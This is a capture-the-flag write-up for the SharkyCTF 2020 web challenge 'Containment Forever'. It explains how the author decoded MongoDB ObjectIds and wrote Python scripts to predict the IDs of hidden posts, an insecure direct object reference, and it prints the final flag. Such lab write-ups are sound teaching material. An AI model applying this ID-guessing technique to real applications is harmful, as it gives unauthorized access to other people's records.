SharkyCTF 2020 - [Web] Containment Forever (300pts)

Written by Maltemo, member of team SinHack.

Statement of the challenge


Hello, welcome on “Containment Forever”! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.

Creator : Remsio


The challenge consisted in re-creating the ObjectId from few informations to get access to both parts of the flag.


After a first look given at the site, we can see that posts can be accessed by Id :

Let’s play with those same identifiers in the URL, shall we ? What if we try to increment the id by 1 to test if we can access other resources ? returns this error :

TypeError: /app/views/item.ejs:28 26| </nav> 27| <div class="container"> >> 28| <h1><%= %></h1> 29| <h2><span class="badge badge-success">Written by <%= item.pseudo %></span></h2> 30| <hr> 31| <img src="<%= item.image %>"/> Cannot read property 'name' of null at eval (/app/views/item.ejs:12:31) at item (/app/node_modules/ejs/lib/ejs.js:679:17) at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:272:36) at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:478:10) at View.render (/app/node_modules/express/lib/view.js:135:8) at tryRender (/app/node_modules/express/lib/application.js:640:10) at Function.render (/app/node_modules/express/lib/application.js:592:3) at ServerResponse.render (/app/node_modules/express/lib/response.js:1012:7) at Item.findOne (/app/index.js:78:9) at /app/node_modules/mongoose/lib/model.js:4889:16 at /app/node_modules/mongoose/lib/model.js:4889:16 at /app/node_modules/mongoose/lib/helpers/promiseOrCallback.js:24:16 at /app/node_modules/mongoose/lib/model.js:4912:21 at _hooks.execPost (/app/node_modules/mongoose/lib/query.js:4380:11) at /app/node_modules/kareem/index.js:135:16 at process._tickCallback (internal/process/next_tick.js:61:11)

It gives us an insane amount of informations :

After checking the flag section, I understood that we had to understand the structure of the mongodb id to guess the ones of the flag posts.

From the official mongodb documentation :

The 12-byte ObjectId value consists of:

  • a 4-byte timestamp value, representing the ObjectId’s creation, measured in seconds since the Unix epoch
  • a 5-byte random value
  • a 3-byte incrementing counter, initialized to a random value

From those informations, we understand that we can easily get the first part of the ObjectId thanks to the Date given on the informations about the flags posts. The increment counter will be easy too thanks to the date and the other posts informations.

The random part will be bruteforce I guess ?

I wrote a little python script to decompose ObjectIds in the differents parts shown previously :

#!/usr/bin/env python # coding=utf-8 import sys from datetime import datetime if len(sys.argv) == 1: print("You must give an argument (an objectId)") objectId = sys.argv[1] timestamp_hex = objectId[0:8] random_hex = objectId[8:18] counter_hex = objectId[18:24] timestamp_dec = int(timestamp_hex,16) random_dec = int(random_hex,16) counter_dec = int(counter_hex,16) date = datetime.fromtimestamp(timestamp_dec) print("date : "+str(date)) print("random value : "+str(random_dec)) print("counter : "+str(counter_dec))

Let’s try it on the posts with all the informations :

./ 5e70da94d7b1600013655bb5 date : 2020-03-17 15:11:32 random value : 926393827347 counter : 6642613 ./ 5e7e4f48d7b1600013655bb9 date : 2020-03-27 20:08:56 random value : 926393827347 counter : 6642617 ./ 5e83642bd7b1600013655bba date : 2020-03-31 17:39:23 random value : 926393827347 counter : 6642618 ./ 5e8ee635d7b1600013655bbd date : 2020-04-09 11:09:09 random value : 926393827347 counter : 6642621

From this tests, we got good news :

The bad news is that dates doesn’t correspond exactly to the informations given in the post page :

After thinking a bit, I finally understood that the one hours shift in time was due to the shift I have in France with the Greenwitch Mean Time (GMT).

The creator of the challenge left a little difficulty with the dates. The hour change in spring (31st of march) which increased the shift from one hour to two.

I came up with this script to construct the ObjectId for the flag posts :

#!/usr/bin/env python3
# coding=utf-8

import datetime

random_fixed_value_dec = 926393827347
random_fixed_value_hex = hex(random_fixed_value_dec).split('x')[-1]

#Date with one hour shift on the GMT.
date = datetime.datetime(2020,3,21,10,13,22)
timestamp_dec = int(date.timestamp())

timestamp_hex = hex(timestamp_dec).split('x')[-1]

#Counter based on the post of the tuesday 12th of march and the friday 27th of march
for counter_dec in range(6642613,6642617):
    counter_hex = hex(counter_dec).split('x')[-1]
    print(timestamp_hex + random_fixed_value_hex + counter_hex)


#Date with two hours shift on the GMT because it is after the 31st of march
date = datetime.datetime(2020,4,13,17,50,18)
timestamp_dec = int(date.timestamp())

timestamp_hex = hex(timestamp_dec).split('x')[-1]

#Counter based on the post of the thursday 9th of april for the starting value
for counter_dec in range(6642621,6642640):
    counter_hex = hex(counter_dec).split('x')[-1]
    print(timestamp_hex + random_fixed_value_hex + counter_hex)
./guesserObjectId 5e75dab2d7b1600013655bb5 5e75dab2d7b1600013655bb6 5e75dab2d7b1600013655bb7 5e75dab2d7b1600013655bb8 --------------- 5e948a3ad7b1600013655bbd 5e948a3ad7b1600013655bbe 5e948a3ad7b1600013655bbf [...]

Thanks to this script, I just had to test if they were working one by one (there isn’t a lot so no need to automate this) by adding them at the end of this URL :{insert_ObjectId}

I got the first part of the flag :

Then the second one :

By assembling the two parts, we get the complete flag :


The flag is shkCTF{IDOR_IS_ALS0_P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}

Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.